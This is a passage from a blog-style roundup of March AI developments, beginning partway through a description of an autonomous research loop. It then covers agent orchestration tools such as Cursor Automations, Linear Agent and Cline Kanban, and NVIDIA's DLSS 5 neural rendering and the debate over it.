  3. It runs a short training job.
  4. It measures the result against the chosen metric.
  5. If the change helps, it keeps it.
  6. If it does not, it throws it away and tries something else.
  7. Then the loop starts again.

That may sound small, but it meaningfully changes the human role. Instead of jumping into Python after every tiny idea, you focus on designing the environment, setting the rules, and deciding what progress looks like. The agent handles the repetitive work.

AutoResearch

Orchestration Became the Product

The same shift showed up all over software tools this month.

For a while, most AI coding products were judged mainly by the model inside them. March made that feel incomplete. The more interesting question became who owns the workflow around the model. Who handles the triggers, the sequence of work, the memory, the parallel tasks, and the points where a human steps back in.

Cursor Automations was one of the clearest examples. It lets you run always-on cloud agents on schedules or in response to events from tools like Slack, Linear, GitHub, PagerDuty, and webhooks. Instead of opening your editor and prompting a model yourself, you can let work begin automatically when something happens. It stops being just a place where you chat with a model and starts feeling more like a control layer for longer running software work.

Linear Agent came at the problem from a different direction. It brings an agent into Linear itself, where it can work with issue context, team workflows, and reusable skills. The bigger idea is that planning, execution, and eventually code context can start to live inside one system, instead of being scattered across tools.

Cline Kanban took the most direct angle of all. It is a kanban layer for managing multiple agent tasks at once. The reason it clicked with so many people is that it named the real problem. Once you have several agents running in parallel, getting output is no longer the hard part. Keeping track of everything already in motion is. The bottleneck is often not the AI. It is your attention.

Put those together and the pattern gets pretty obvious. The interesting part of AI coding is no longer just code generation. It is managing chains of work. It is deciding what should run automatically, what should run at the same time, what context should carry forward, and where a human decision still matters.

Cline Kanban

DLSS 5

Then there was DLSS 5.

At GTC in March, NVIDIA presented it as its biggest graphics breakthrough since real-time ray tracing. The pitch was ambitious. DLSS 5 introduces a real-time neural rendering model that infuses pixels with photoreal lighting and materials, trying to narrow the gap between game rendering and the kind of realism people usually associate with Hollywood VFX. NVIDIA even called it “the GPT moment for graphics.”

To understand why that landed the way it did, it helps to step back for a second. Earlier versions of DLSS were fairly easy to explain. First it upscaled. Then it generated frames. DLSS 5 goes further. NVIDIA says it takes a frame’s color and motion vectors as input, then uses a model to enrich the scene with lighting and material detail while still staying anchored to the game’s 3D content and keeping the result consistent from frame to frame.

In other words, the AI is no longer just helping with performance. It is participating more directly in what the image looks like.

That is exactly why the reaction was so strong. A lot of people were impressed by the technical ambition. Others felt uncomfortable almost immediately, especially with demos that seemed to make characters and scenes feel more homogenized, more uncanny, or simply less like the artists’ original work. The backlash was not really about whether the tech was impressive but more about taste, control, and whether the final image still felt authored in the same way.

That is what made DLSS 5 more than just a graphics announcement. It quickly turned into an argument about where AI should sit in the creative process. NVIDIA’s position is that DLSS 5 stays grounded in the developer’s 3D world and artistic intent, not a loose generative filter pasted over the screen. Critics were not fully convinced. And that tension matters because it points to a bigger question. What happens when AI stops assisting the pipeline and starts shaping the final output itself?

DLSS 5

The Pattern Behind It All

Looking at these three developments together, a clear pattern emerges. AI is moving deeper into the actual pipeline, not just hovering around it.

  • AutoResearch turns research from a manual loop into a continuous measured loop an agent can run on its own.
  • Orchestration tools turn software work from one-off prompting into managed systems of triggers, memory, parallel work, and human checkpoints.
  • DLSS 5 pushes AI into the final rendered image, where questions of realism, taste, and artistic control become impossible to ignore.

For a while, the biggest AI question was which model was smartest. That still matters. But March made a different question feel more important. Where in the pipeline does AI actually sit?

The closer it gets to the real work, the more powerful it becomes. And the more powerful it becomes, the more its design choices start to matter.